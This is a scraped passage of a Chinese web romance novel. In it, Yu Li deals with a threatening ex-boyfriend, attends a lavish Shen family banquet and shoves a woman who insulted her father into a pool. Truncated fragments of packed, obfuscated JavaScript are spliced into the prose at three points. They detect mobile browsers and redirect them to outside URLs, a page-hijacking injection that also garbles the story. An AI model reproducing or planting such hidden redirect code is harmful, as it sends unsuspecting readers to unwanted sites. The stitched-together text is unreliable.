“你还嫌弃我,你有什么资格嫌弃我!”姜北怒了,胸肌起伏,“好!你要弄我是不是,要分手是不是?那公平点儿,你是不是也该被我弄回来,不过老子没你那么狠,换个地方,老子以前舍不得,今天好好让你爽!”他说话时,带着酒气的呼吸喷在她耳畔,下流又肆意。 姜北不是一个人来的,跑车上还有他那群狐朋狗友,大约听到他俩争吵的内容,几个男人从车里探出头,朝两人吹口哨。 喻梨觉得自己是孕反,但有分明被姜北身上那股气息熏得头晕脑胀,一时又挣脱不开,眼见着就要被姜北拽走。 “放开她。”沈廷屹不知道什么时候出现的,脸色很难看,扶住了喻梨另一只胳膊。 “你TM哪跟葱,滚远点!” 沈廷屹力气比喝醉的姜北大,喻梨已经被她拽过来,护在身后,眼神凌厉:“我已经报警,你跟你朋友还有五分钟时间逃跑。” “你……”姜北还要骂骂咧咧,他两个朋友下来,见到对方是沈廷屹,识趣得将他弄走。 沈廷屹刚回头,喻梨已经忍不住,一弯腰,吐在地上,刚好脏了沈廷屹那双白鞋。 还好应该只是孕反,吐得不多。 喻梨抬起脑袋,有点傻乎乎的看着脸色难看的沈廷屹,半响才不好意思地挤出几个字:“我赔给你。” 沈廷屹下颌微微抽动,原本清隽的一张脸,神情扭曲。 喻梨吐完舒服很多,大概又脱离姜北身上那身酒气,精神很好,站起来:“对不起,我赔你一双更好的。” 但是沈廷屹只是冷冷说:“这就是你说的,对你最好的那一个?” 喻梨没接话,只是从车内拿了湿纸巾出来,递给他,示意他自己擦鞋,才说:“分手不都这样么,我整蛊了他,他气不过,报复我。” “你把这种行为定义成普通的报复?”沈廷屹看她风轻云淡的模样,不知道为什么,又有点来气。 “当然不普通,所以,我又得找他家里人谈谈了。”喻梨叹口气。 沈廷屹微微闭了一下眼,简直不知道可以再跟她说什么,仿佛自己刚才的举动很多余。 他擦了擦鞋,一言不发,转身就走。 “沈廷屹。”喻梨双手插兜,忽然叫住他,“谢谢你,其实我刚才挺害怕的。” 夜晚小区附近路灯昏黄,几只飞蛾扑朔着翅膀朝灯火处飞去,喻梨站在街灯下,半逆着光,盯着他的神态很认真也很虔诚。 沈廷屹微怔,但还是点了一下头。 喻梨刚洗完澡,就收到姜北的短信轰炸。 “喻梨,你可以啊,才跟老子分手多久就傍上沈二,你TM绿我绿得很开心?” “贱人!老子看你就是离不开男人!” “早说啊,老子也不用憋半年!” “你等着,我他妈弄不死你!” 喻梨裹着雪白的浴巾,看着屏幕蹦出恶毒字眼,眼泪掉得无知无觉,半响才发现自己依然还是很没出息的为了这个男人哭。 哦,不,更多的是因为自己眼光差,识人不清吧,真丢脸。 “蒋静姝跟你说的话,没一句真的。” “你要问我的话,就是爱过,你正常的时候,挺可爱的,追我的人那么多,你是最可爱的那个。” “可我这人有洁癖,姜静姝说我的那部分是假的,你跟那些女的却是真的。” “也许你不相信,多少个夜晚,我也因为你,哭成了狗。” 喻梨面无表情地发完信息,倒头就睡。 凌晨四点,姜北又发来两条信息:“宝贝,我们可不可以不分手?” “我爱你。” 喻梨第二天早晨刷到姜北的信息,翻了个白眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640697|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 爱才没有那么廉价! 但跟情绪不稳定的二哈撕破脸,不理智,也不聪明。 到公司后,跟助理小尤核对完行程,喻梨加了一条,提醒对方帮她准备一双鞋,她准备送人,想了想,又加了一句,还要一份儿童礼物,两三岁男孩子的。 小尤便问她,鞋子需要什么尺码? 这倒将喻梨难住,她眨了一下眼:“算了,我自己挑吧,你先帮我想想小朋友的生日礼物。” “好的,老板。” 给沈廷屹挑鞋的事,因为尺码的关系,就这么耽搁下来,喻梨一上午忙得晕头转向,好几个方案等着她拿主意,连饭点儿都忘记,中午小尤给她点外卖,再上楼时,带来好大一捧黄玫瑰,足足有999枝,小尤带着送花的工作人员搬得十分费力。 公司小,女员工偏多,得知是送给老板的,便都开始起哄。 喻梨喜欢一切鲜艳、热烈的东西,但看见那束花的瞬间,几乎已经有预感,果然,等看见带有姜北字迹的卡片时,喻梨就更觉得刺眼了,吩咐助理直接将花垃圾桶。 员工们看她冷淡的态度,一时都埋头佯装工作,讷讷不敢言,隐约便有了猜测。 姜北还有脸发信息问她喜不喜欢他送的花? 喻梨回了一个‘滚’字。 隔天晚上,喻梨小区深夜迎来无人机表演,姜北不知道在哪儿找的无人机团队,一会儿飞成傻逼的心型,一会儿合成英文的‘sorry’字眼,还不时变换成她名字的缩写,排场十足,轰动整个小区。 喻梨原本在加班加点的修改活动方案,被小区闹哄哄的气氛吵到,再看一眼姜北打来的电话,心里更是烦闷,一接通就劈头盖脸地骂过去:“姜北,你听不懂人话是不是,咱俩分手了,分手的意思就是我想跟你老死不相往来!你不是被你爸停卡了么,你哪儿来的钱搞这些,别跟我说你搞网贷,你low不low?” 那头姜北不知道回了句什么。 喻梨冷笑:“借,你堂堂姜二少,一被你爸停卡只晓得找你哥们儿借钱,你low到家了!” 姜北怪委屈的:“宝宝,你说话也不用这么恶毒吧?” “我恶毒!”喻梨抄起手提电脑和旁边的文件资料,“你躺别的女人床上的时候,都没觉得自己肮脏恶毒,我有什么不好意思的,我警告你,再纠缠我,我就找你爸谈了,找你哥也行,你干的那堆破事儿,你看你哥会不会趁机上你眼药,把你弄去国外!” “喻梨,你那天晚上才说了为我伤心过,哭成了狗。我都做到这份儿上了,你真的一点都不感动吗?” “我为你哭成狗,又不是真的狗,你哄两声我就乖乖跟你摇尾巴,告诉你,没找你要分手费算你运气好,咱俩恋爱期间,花的都是我的钱。麻溜的,收拾你天上那堆破烂给我滚蛋!”说完,喻梨就气得挂断电话! 想了想,她实在气不过,主要当初恋爱太傻逼,吃饭旅游花的都是自己的钱,姜北反手把钱花出去找了N加1,且出手大方,送包,送首饰,衬得她简直愚不可及。 越想越生气,喻梨迫切地想找人吵架,抱着电脑和文件下楼,打电话跟物业投诉,质问对方小区里明明禁飞无人机,凭什么允许外头这么闹腾。 物业是个小姑娘,估计不知道她是正主,还挺耐心地跟她解释,请她理解,教育她,成人之美是中华传统美德。 喻梨都被气笑了,讽刺人家是不是收钱了,收钱了就明说,别搞得这么冠冕堂皇的。 她态度强势,语速很快,连珠炮似的抓着手机跟人家吵,沈廷屹一进大堂就看到了,还看见她因为吵得太投入,文件夹里掉飘了两张资料出来。 沈廷屹没打算管。 但是喻梨瞄到他,一把拽住他胳膊,特别自然地抬了抬下巴他示意地上掉的文件,意思是让他帮忙捡一下,一边还在跟手机里的物业强势道:“我不管你们用什么方法,五分钟之内,再让我看见天上那堆愚蠢的字母,我就起诉你们物业!” 沈廷屹:“.……” 10. 第 10 章 大约很久没被喻梨理直气壮地指挥做事,沈廷屹愣了一下,但还是弯腰帮她将地上的资料捡起来,递给她。 喻梨正好已经挂了电话,接过来时顺嘴说了声:“谢谢。” 沈廷屹看她跟人吵得脸色红扑扑的,颔首,倒也没多说什么,就要进电梯。 又被喻梨叫住,她问:“沈廷屹,你鞋子,什么尺码?” 沈廷屹微怔,不知道为什么,忽然回想起某个午后,少女趴在课桌上,有些忐忑地问他:‘沈廷屹,沈砚真的会喜欢这个款式的鞋吗?’ 沈廷屹已经忘记当时自己是什么滋味,但这会儿对上喻梨的目光,有些恍惚,意味不明的口吻:“你要送我鞋?” 喻梨大大方方的:“说好了要赔你一双。你洁癖那么严重,吐过的鞋子,肯定不要了。” 男人便垂下眸:“不用。” 喻梨还要在说什么,被沈廷屹打断:“这么晚,你去哪儿?”目光落在她抱着的上午电脑和资料上。 “附近咖啡馆。”喻梨叹口气,有点焉儿,“我怕我那个傻逼前男友下一步就是直接上门,找家咖啡馆赶方案。” 联想起刚才打电话的投诉内容和外面闹哄哄的无人机秀,沈廷屹挑了一下眉,‘嗯’了一声。 喻梨找的一家24小时营业的咖啡馆,就在小区附近。 沈廷屹结束跑步后,绕了一圈,去自动贩卖机买了一瓶矿泉水,路过咖啡馆外时,看见落地窗内,喻梨一边在电脑上快速打字,一边胳膊上夹着手机跟人通电话,应该是在交流工作内容。 夜深人静,街道上人烟稀少,寂静黝黑,唯有咖啡馆内灯光炽亮,喻梨发丝上挽,扎了一个简单发髻,露出一截白皙的脖颈,往上是精致的侧脸,被灯光温柔的打出几分柔和质感。 沈廷屹找了咖啡馆外露天藤椅坐下,刚好是可以看见喻梨,又很难被对方发现的位置。 大概是太晚,连里面的服务生都未曾留意到外头有多一位客人,沈廷屹就那么看了一会儿工作的喻梨,见她挂完电话,忍不住打了几个呵欠,又赶紧搓搓脸,继续投入工作。 他垂眸,长睫在清隽的五官上投下淡淡阴影,勾了勾唇,随即很快又想起什么,拿出手机,拨了一个电话。 深夜里,他嗓音染着寒意,但态度柔和谦逊的:“方叔。” “想请您帮个忙。” “对,姜家那个二儿子。” “国外吧,越远越好……” 打电话时,沈廷屹目光落在窗内喻梨身上,口吻平淡,听不出什么情绪,但咬最后几个字时,分明带上几分冷冽。 喻梨合上电脑时,看了一眼时间,已经快12点。 咖啡早就冷却,她打包了一份三明治,咬着三明治推开了咖啡店的门。 沈廷屹刚好进来,两人擦身而过,他比她高一截,身上气息拂过来,带着店外冷风,喻梨有些讶然得抬眸,只来得及看见他干净漂亮的下颌,他已经进去买东西。 喻梨赶紧狗腿地跟进去:“沈廷屹,你想买什么,我请客。” 沈廷屹已经走到点单台,偏头看她一眼,跟服务员要了一杯热饮。 喻梨就很自觉的拿手机帮忙扫码,解释:“前天的事,谢谢你。”说着,没忍住打了个呵欠。 “不客气。”沈廷屹说,看她倦怠的模样,“你很困?” “废话。你也不看看现在几点。”喻梨左手抱着商务电脑跟文件,右手拿着三明治,有些图囵道。 “当老板也这么累?”他喝了一口热饮,余光落在她身上,状似随意道。 “就因为是老板,所以才累啊,我合伙人不靠谱,什么都得我自己亲力亲为。不过最近我财运好,手上有大项目。”喻梨光是想一想,困到闭着眼睛都想笑。 “恭喜。”沈廷屹嘴角微扬,抬手抽出她怀里笨重的电脑和文件。 他一向绅士,喻梨也并不觉得有什么,两个人并排走出咖啡厅,街头已经完全没什么人,四月的风带着寒意,喻梨被风吹醒了几分,走在沈廷屹身侧,忽然有种不真实的感觉,仿佛回到很久以前,两个人从食堂出来,正并排走回教室。 说起来,她跟沈廷屹以前其实挺熟的,整个初中高中都黏在一起,如果不是发生那件事,其实也是应该长大见面后可以好好叙旧的关系。 “你呢?医生也是超负荷的工作强度吧。”喻梨偏头看他。 “嗯,有夜班要值。” “那是挺辛苦的,说起来以前也没听你提过想当医生啊,你到底为什么忽然就去学医了?” 沈廷屹脚步顿了一下,偏头看她,目光正经严肃:“我没提过吗?” 会不会是因为那时你所有的目光都只放在一个人身上,对另外的人就只会习惯性忽视。 月光如纱,他面容清隽,看她目光也清凌凌的,让喻梨瞬间觉得自己说错话:“额……提过,你提过,我肯定是忘了。” 沈廷屹并不满意,懒得再看她,抱着她电脑抬腿时速度快了些。 喻梨把最后一口三明治咬完,越发觉得这人长大后脾气古怪,但又赶紧追上他,讨好道:“我拿,我自己拿。沈廷屹,等我手上项目做完,请你吃饭啊。” 沈廷屹‘嗯’得很轻,喻梨还没听见,就被夜风吹远了。 小尤选了好几份儿童生日礼物作为参考,喻梨最终挑了一款汽车模型,某大牌汽车的复刻版,她觉得小男孩应该会喜欢。 周末,通往沈宅半山腰的路灯火通明,无数豪车蜂拥而至,竟然差点儿造成交通堵塞,喻梨那辆不起眼的宝马在被严谨地查过邀请函后,才被守卫恭敬地指挥进入停车场。 陆哲知道她有邀请函,难得惊讶,说他哥一直再等邀请卡,沈清的丈夫许志恒是华尔街资本大鳄,难得的狠角色,半年前就有风声,两个人要回国发展,夫妻俩手握大笔资金,这场给儿子办的生日宴算是回国后第一次正式亮相,圈内圈外,不知道有多少人想去拉关系,套近乎,半城的商贾名流都趋之若鹜。 但喻梨在车内静默了片刻。 没人知道,她对这所宅子的最后印象并不好。 17岁的初夏,喻梨已经有半年时间没有见到喻爸爸,根本联系不上他,这是从未发生过的事。方苒从高楼跳下,警方查到她生前一封遗书,难以忍受学校某女生为代表的霸凌团队,某女生指得是喻梨,她被学校开除,但又实在觉得冤枉委屈,在失去父亲联络的情况下,唯一能想到的人,是沈砚。 沈砚是最后一根稻草,她总想着他以前疼她的时候,他在她心里无所不能,什么事情都能解决,所以关于爸爸的事,喻梨那时想,如果能知道消息的人,一定是沈砚。 她觉得她可以求一求他,为了爸爸,她求一求他,即使那时候他已经很讨厌她了,但为了爸爸,有什么不可以的呢? 所以当时即便被沈家佣人拦举在门外,喻梨也偷偷爬进沈家的墙,熟门熟路摸到沈砚的房间。 沈砚躺在床上,脸色很憔悴,又泛着病态的红润,像是在发烧,喻梨有点茫然,但沈砚呢喃着要喝水,喻梨就屁颠屁颠地去给他倒了一杯水,一点一点喂给他喝,她其实不大会照顾人,弄得手忙脚乱,沈砚像是烧糊涂了,并未察觉身旁有人。 沈砚生病了,自然是求不了他的,可喻梨那会儿走投无路,没有任何办法了,只好蜷缩着坐在沈砚身旁,小声地倾诉,她说:“沈砚,我已经很久没有爸爸的消息了,他以前从来不这样的,不会半年都不给我打电话的,你知道,他最疼我的,舅舅经常来找妈妈,两个人关在书房里神神秘秘的,出来脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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喻梨刚下车,就接到蒋靖姝电话:“喻梨,我看到你车了,你怎么会有邀请卡?” 喻梨简直都不想回答她的蠢问题:“还能为什么,被主人隆重邀请,所以有邀请卡,这很难理解吗?” “你别搞笑了,谁会邀请你!怕不是你从别人那里蹭的。” “就算是蹭的,关你什么事。”喻梨懒得跟她废话,就要挂电话。 蒋靖姝似乎料得到她举动,急忙说:“你先别挂!你……你可不可以出来接一下我。” “什么?” 蒋靖姝声音小很多,委委屈屈的:“你出来接一下我,我邀请卡弄丢了。” 喻梨:“.……” 喻梨反应了一下,蒋靖姝绝对不可能所谓弄丢什么邀请卡,于是嘴毒道:“你被沈砚甩了?” 那头,喻梨清晰地听见姜静姝深吸一口气的声音,她咬着牙,一字一句:“他只是忘记邀请我。” 喻梨简直不知道说什么,但又觉得很好笑,只好说:“蒋靖姝,提醒一下你,这又不是什么国外红毯,蹭一蹭能让你国内名气大增,你少听点徐凤芝的馊主意,自己长长脑子。” 蒋靖姝还要说什么,喻梨已经挂了电话。 最先看到喻梨的是沈清,她一到,沈清跟旁边的客人道了一句失陪,就向她走过来,夸她:“你今天很漂亮。” 喻梨递上有点重的车模:“这个……送给许佑的。” 把沈清逗笑了:“也就你,看起来是真的来给佑佑过生日的。”吩咐佣人将礼物收好,又带上她,“走,我先带你找佑佑玩会儿,然后介绍点人给你认识。” 喻梨点了点头,余光环绕了一圈宴会场,认识的,不认识的,但绝对都是圈内名流,是喻梨那个小破公关公司,很难碰得上的大客户。 沈清的丈夫许志恒那天来接过沈清,喻梨还记得,今日他主场,身材高大,西装笔挺,正拿着酒杯招呼客人,他气场很足,跟周遭几位老板侃侃而谈,姿态慵懒,游刃有余。 11. 第 11 章 楼上,书房内,南佳音正被沈砚拧着,看相亲对象的资料。 南佳音最近跟许家二少许池订婚,但是订婚前夕,许池的前女友在网上爆出跟富二代相恋的细节,隐隐约约的指向许池,许池那头私下找了喻梨做前女友的思想工作,公关处理,南佳音听到点儿风声,为了提前拿捏未来丈夫的把柄,又私下找了喻梨,这才有前段时间,三个人的碰面。 喻梨当时走后,南佳音当时灰溜溜地被小舅舅拧上车,还大言不惭地说了几句自己的心里话,什么‘不是谁都像砚舅舅你一样守着初恋,恋恋不忘。’ 什么“我们这个圈子,难道要找什么真爱吗,我可乖了,只想找个门当户对,能养我的,安安静静当个米虫……” 沈砚大约很难认同侄女消极的恋爱观,今日忽然将小侄女叫上楼,拟出了一份圈内作风良好,家世不错的适龄者名单。 南佳音自然十分惊讶,她砚舅舅这人确实十分护短,对她一直宠爱有加,如今居然连她恋爱的事情都肯亲自帮她挑未婚夫。 但难免又会嫌弃他管太多,忍不住嘟囔:“我以为今天被逼相亲的人只有廷屹舅舅,怎么又轮到我。” 沈砚只是说:“资料上的,你看看就行,人需要你亲自了解,今晚先接触,至于跟许池的婚约,你父母那边,有我。” 南佳音兴致缺缺:“有什么好看的,这些人,要么是古板的高管,要么是沉闷无趣的IT男,没有砚舅舅的沉稳帅气,也没有廷屹舅舅的暖心阳光,要怪就只能怪你们太优秀,我从小眼光才高。” 这小妞,抱怨时也不忘拍马屁,被沈砚抬手敲了一记额头:“你眼光高,怎么就随便同意订婚?” ““都说了我乖嘛,反正找不到你跟廷屹舅舅这样的,我随便找一个也行啊。当为家里做贡献。”南佳音很是一副无所谓的模样。 沈砚摇摇头,刚想说什么,楠木桌上,手机震动了一下,有信息进来,他瞄了一眼,是蒋靖姝。 南佳音八卦,眼珠子朝沈砚的手机瞅,沈砚已经捞起手机,又顺手拿起旁边衣架上的定制西服:“你自己看着办,我出去一下。” 蒋静姝发的信息是:“外面好冷,我跟妈妈等了好久,沈砚,你可不可以来接我一下。” 沈砚觉得有意思,忽然改变主意,决定亲自去接蒋静姝。 喻梨最近很敏感,其实不大愿意看到小孩这种生物,以前碰到小区里打闹的小屁孩,心情好时,还能停下来逗逗,现在通常都是面无表地走过。 手术时间敲定后,因为新接项目的关系,喻梨推迟了一次,忙到根本抽不出时间。 小布丁许佑作为今天主角,被一群花里胡哨,喷着昂贵香水的名媛包围,每一个来的客人,都会来逗逗他,捏捏他的小脸,露出再和气不过的笑容,热情地跟他说生日快乐。 年幼的许佑很烦,直到妈妈领来一位见过的阿姨,全程不怎么说话的许佑扑过去,抱住对方的脚,跟她说:“尿尿。” 许佑突如其来的亲昵,让喻梨在人群里显得很打眼,她正有些尴尬,西装笔挺的小许佑又固执说了一句:“我要尿尿。” 沈清还有客人要招呼,喻梨只好抱起他,在佣人的带领下,抱着黏人的许佑去找他专门儿童马桶。 许佑上完厕所,再也不想回到那个被人随意捏脸的地方,拽着小梨子的手到处走,一会儿让她陪他玩儿自己的滑滑车,一会儿要从沙发上跳下来,让小梨子陪他一起跳。 喻梨想哄他会宴会厅,他就把喻梨往花园带,跟她指池子里的锦鲤,水池底下有灯光,五彩斑斓的锦鲤在波光粼粼的水晕里更显得鲜活华丽。 池边种着两个樱桃树,硕果累累,喻梨牵着许佑的小手,站在树下有些恍惚得发呆。 许佑看她一眼,又看她头顶红彤彤的樱桃,指着果子忽然说:“要,要。” 沈砚从书房下楼,路过花园时听到一道女声,喻梨正抱着许佑说:“你把手手抬高一点,使点劲儿嘛。” 沈家花园,种着两珠樱桃树,每年春天,这两棵果树最先发芽、开花,挂果,等到四月中旬,翠绿的枝丫间,熟透的果实红艳艳、水灵灵,是最好的风景。 沈宅当初改造,一些旧树早已经被移植,唯有这两棵老樱桃树,因为是奶奶当年亲手种植,得以保存。 有一瞬间,沈砚差点以为自己幻听,仿佛回到某个阳光和煦的春日,被少女娇嗔地指挥,“沈砚,你再爬高一点点嘛,我要最高最红的那串。” 沈家,已经没有人会惦记几颗樱桃,佣人更多的是注意驱散果树招来的一些野鸟,以防这颗果树失去观赏价值。 沈砚脚步停顿,俊脸隐没在夜色里,情绪不明。 约莫一分钟后,他悄无声息地离开了。 从上次拍卖会后,沈砚再也没有联系过蒋静姝。 蒋靖姝发给沈砚的消息都石沉大海,如果不是最近手上忽然多出好几个不错的影视资源,蒋静姝差点儿以为,自己又被沈砚拉黑,原本她已经习惯沈砚的忽冷忽热,也想干脆趁此好好拍戏,但是徐凤芝显然并不满意,尤其沈家这场宴会,惊动半个北城圈,蒋靖姝居然未曾受邀,徐凤芝将自己跟继女打扮好,不请自来。 但,沈家宴会出入审查严格,两个人吃了闭门羹。 蒋静姝本想打道回府,徐凤芝忽然跟她说起实话:“静姝,这两年实体经济下滑,家里生意并不好做,你爸爸最近愁得头发都白了,不得不开始变卖一些固定资产,你再不抓住某些机会,恐怕以后很难在你小姐妹面前炫耀你的名牌包和随心所欲的全球旅行了。” 蒋静姝顿时不可思议,没想到家里已经难到这个地步,爸爸蒋然最近确实常常叹气。恰好她又眼尖地看到喻梨的车,想也没想就拨通喻梨电话,结果被喻梨直接挂断,在看一眼闭目养神的徐凤芝,喻梨跟徐凤芝的关系更差,蒋靖姝知道徐凤芝是不可能跟喻梨联系的。 她犹豫片刻,抱着试一试的心态,不得已给沈砚又发了信息。 出人意料的是,沈砚竟然亲自出来接她。 她只发了信息,找了个借口说自己冷,沈砚便贴心地将自己西装披在她肩头。 蒋靖姝裹着沈砚的西装跟随他进场时,自然接受到全场注目礼,那一瞬间,她抬高天鹅般优雅的脖颈,忽然想到可以回敬喻梨的话:国外电影节的红毯算什么,她敢打赌,今晚,自己一定是全场女人焦点。 一室的浮华,衣香鬓影、觥筹交错。 沈家的豪横,在这场宴会展现得淋漓尽致,以前,蒋靖姝只觉得所谓的有钱只是旅游与大牌的自由,但是从认识沈砚开始,她打开另一道新世界大门。 那些她曾经跟跟对家撕得头破血流的资源,如今,只需要想一想,就可以立刻拥有。 某些需要配货才能买到东西,在沈砚助理那里都不是难题,对方曾轻描淡写地帮她弄到奢牌的VIP邀请卡,据说沈砚每年都收到很多品牌的类似卡片,但没有时间出席。 而此刻,蒋靖姝只需要站在沈砚身边,甚至不用说话,也能听到一大片平时听不到的恭维。 沈砚跟蒋靖姝进来时,沈清正拉着她,跟她介绍生意场上的几位朋友。 很少有人能得沈清这样的重视,于是喻梨自然也水涨船高,她态度谦卑,将自己准备好的名片发出去,简单地提几句自己公司正在忙的项目。 沈砚进场自然受到瞩目,喻梨跟着侧头看了一眼,浮光下,一对俊男美女,女方肩上还搭着男方西方,十分养眼。 原来蒋靖姝真的只是弄丢了邀请卡而已,喻梨想,但是很快目光被他俩身后的徐凤芝吸引。 徐凤芝保养得非常好,即使沈砚跟蒋靖姝足够光彩夺目,但他俩身后的徐凤芝也是一眼能让人注意的美。 徐凤芝除了美貌之外,整个人散发出的蓬勃的野心、欲望,像花园里开得最艳丽的一朵玫瑰,你知道她带刺,但是她美得那样夺目,不加掩饰,即使被扎,也引得无数人趋之若鹜,。 喻梨看徐凤芝在这样的场合,如鱼得水地跟人社交,她笑得那样明艳大方,自在得意,几乎快把自己弄成这场宴会的焦点。 喻梨有时候会觉得,她哪怕有徐凤芝一半的社交能力,估计也能将公司经营得风生水起。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14640699|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻梨情不自禁地抬步,她有话想问徐凤芝,正走过去,南佳音半路出现,见到她,大约是想起那天被沈砚刁难的场景,很是惊讶:“喻梨,你……你怎么敢来?” 南佳音旁边还有几个名媛,大多是以前贵族学校认识的,算是熟人,听到南佳音的问题,顺势奚落道:“我记得沈砚似乎放过话,有他在的地方,你最好避着点儿,喻梨,你是不是不记得了?” “她怎么会不记得,只是她那个小破公司,快开倒闭了,再不出来拉点儿资源,我看身上的香奈儿都快穿不起了。” “不至于,不是还有她妈和她姐,不得不说,你们全家的脸皮都是钢筋混泥土啊,当年你死缠烂打追沈砚,没追上,现在你妈妈成功培养出你姐,厉害,厉害。”名媛B一脸佩服地替她鼓掌。 喻梨还记得她,叫顾甯,当年给沈砚写过情书,被喻梨警告过,如今风水轮流转,自然也要踩她一脚。 “你嫉妒啊,要不然去我妈那儿报个班,学学怎么泡沈砚,东拼西凑的情书估计是不行的。”喻梨扯了一下唇角,讥讽回去,抬腿就要走,懒得搭理她们。 却被顾甯拽住手臂,她忽然凑近她,用只有彼此听得见的声音说:“喻梨,你还是不懂怎么伏低做小,想要拉资源,就不要趾高气昂的惹人讨厌,你姐今天出尽风头,我们说你两句,你就最好受着。” 喻梨眯了眯眼,受着,她在说什么屁话? 顺势准备推开她,顾甯却忽然声音大了点儿,笑道:“你爸是不是还在里面待着,说起来,我都忘了判得是多少年了,还记得当年你爸为了你,高调到学校里作演讲,真是风光啊,那又怎么样,现在还不是在里面踩缝纫机,你妈今天衣着光鲜得满场转悠,你爸这会儿还不知道在哪里唱铁窗泪,你们全家真是怪有意思的。” 南佳音见喻梨浑身僵硬,脸色难看,赶紧出来打圆场:“好了,好了,大家都是老朋友,又都是今天的客人,我们去吃点东西,不要伤和气嘛。”拉着那几个女生走了。 沈廷屹原本应母亲要求,照顾季家留学回来的女儿季明珠,女孩温柔腼腆,全程粘着沈廷屹,羞涩到不敢独自社交,沈廷屹帮她拿了点蛋糕,留意到这头动静,立刻道了句,‘失陪’,绕了半圈,走到喻梨面前。 “怎么了?”沈廷屹见她垂着脑袋脸色不大好看,皱了皱眉,“她们欺负你了?” 喻梨握了握手指,才故作轻松地抬头:“又不是小孩子,什么欺负不欺负的。”她挤出一丝笑容,但是笑得不大好看,“刚才就看到你了,不过你身边有佳人在侧,就不好打扰你啦。” 沈廷屹说:“我不知道你要来。” “大概全场除了沈清姐,没人欢迎我来。” 沈廷屹皱眉:“我不是这个意思,我是说……” 被喻梨打断:“好闷,我想出去透透气。” 沈廷屹抬腿跟上,身后季明珠叫住他:“廷屹哥,这个蛋糕味道不错,你要不要也尝尝?” 喻梨想抽一支烟。 她已经很久没抽过烟,通常方案做得不顺,或者难受的时候,需要抽烟缓解。 但包里没有,她有些焦虑的翻遍了包包,才想起自己最近在戒烟。 很难自控的时候,喻梨选择做一些坏事。 她从来,从来没有标榜过自己是什么好女孩。 于是约莫十分钟后,顾甯被她骗到沈家的露天游泳池。 池水边,她把她头按在游泳池里,面无表情道:“我喻梨的字典里,从来没有‘受着’这两个字,你可以羞辱我,但是关于我爸爸,你最好提都不要提!” 沈砚正巧出来接电话。 游泳池边,穿黑色香奈儿的女人踩着高跟鞋,蹲着身体,看着泳池里的拼命扑腾的女孩,冷冰冰地说着什么,没有表情。 时光被拉回多年前的校园。 穿校服的方苒浑身湿淋淋的从学校泳池里爬出来,淡蓝色的池水里孤零零得漂浮着她破旧的书包和被撕坏的课本…… 少女抱着胸口,冷得打颤,却还是冲沈砚挤出笑容,她微笑着说:沈砚,原来夏天也很冷啊。 12. 第 12 章 沈砚制造出的脚步声让喻梨稍稍偏头。 她环着手臂,半蹲的姿势,精致的黑色小礼服把她白皙的肌肤反衬出玉质般柔润光芒,每周花大价钱维护的泳池,此刻泛着粼粼波光,浮光打在她小巧精致的脸颊上,乌发红唇,猫儿一样,居然有种妩媚的味道,但她眉梢撩起,手臂虚虚环着身体,看他的一眼分明又极为冷艳。 泳池里的顾甯气疯了,被喻梨按压着被迫呛了好几口水,等喻梨收手,她又呛了两口水,这会儿控制住身体浮上来,才发现池水其实并不深,是她胸口的位置,不禁拍击了几下水面,气急败坏:“喻梨,你疯了,你也不想想,我以后会怎么报复你!” 喻梨没理她,偏着头与居高临下的沈砚对视。 沈家的露天泳池尽显豪奢,大约为了模拟天然环境,周围全是高大乔木,沈砚从漆黑的树影中走来,隐约的,带一有种比乔木还要深不可测的气场。喻梨的目光只能从他的高级手工定制皮鞋,到笔挺无一丝褶皱的裤脚,长腿,腰腹收拢的肌肉,一尘不染的浅灰色衬衫,池水的浮光在那种顶级的面料上辉映交织,他的脸色也在那浮光里,半明半安,神色静而暗。 无端的,喻梨打了个寒颤,裸露在夜色里的肌肤开始慌乱又密密麻麻地冒起鸡皮疙瘩。 “沈先生,您也看到了,喻梨她胆子太大了,在沈家宴会上赶出把您客人推水里的事,分明是不给沈家面子。”顾甯见到沈砚,立刻开始告状加上眼药。 但…… 沈砚也没搭理她。 反而慢条斯理地找了一张躺椅坐下,长腿交叠,沈砚从兜里掏出一只烟点燃,金属质地的打火机,外形很特别,应该是定制款,火光亮的一瞬,将他的桃花眼映得深邃、又沉不见底。 顾甯看看一言不发的沈砚,再看一眼微微有些呆愣的喻梨,总觉得两人之间有种奇怪的气场,独属于二人的,外人插不进去的气场。 回忆起当年学校里,喻梨再怎么放肆,都有沈家袒护,她不甘心地又拍了一下水池,拖着裙摆找到安全栏网上爬。 大约顾甯方才吵嚷得太大声,有听到的佣人赶过来,泳池边陆续响起更多的脚步声,顾甯一上岸,就被佣人裹了毛毯。 但顾大小姐依然骂骂咧咧的,气得整个人哆嗦,扬言要用一百种方法整死喻梨。 顾甯气急败坏地赤脚走着,去忽然看见沈砚将金属质地的打火机从喻梨的头顶扔进泳池里,溅起微小的水花。 然后,顾甯听见沈砚淡淡嘲喻梨道:“喻小姐,听说近日家姐给你介绍了不少项目,或多或少都与沈氏沾边,但——”他轻笑了一下,英俊倜傥,“我们沈家不跟喜欢在家里就公然得罪客人的人做生意,我现在很不高兴,不如你想想怎么让我高兴一点,比如……我东西掉了,能麻烦喻小姐帮忙捡起来?” 顾甯忽然感到一股巨大的惊喜。 